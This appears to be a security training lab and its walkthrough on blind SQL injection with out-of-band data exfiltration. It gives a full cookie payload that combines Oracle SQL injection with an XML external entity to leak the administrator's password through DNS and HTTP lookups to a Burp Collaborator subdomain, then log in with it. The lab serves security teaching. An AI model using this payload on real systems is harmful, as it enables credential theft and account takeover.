Lab: Blind SQL injection with out-of-band data exfiltration
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
Note
You must use the public Burp Collaborator server (burpcollaborator.net).
Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
Modify the TrackingId cookie, changing it to something like the following, but insert your Burp Collaborator subdomain where indicated: TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--.
Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side query is executed asynchronously.
You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. The password of the administrator user should appear in the subdomain of the interaction, and you can view this within the Burp Collaborator client. For DNS interactions, the full domain name that was looked up is shown in the Description tab. For HTTP interactions, the full domain name is shown in the Host header in the Request to Collaborator tab.
Go to the "Account login" function of the lab, and use the password to log in as the administrator user.
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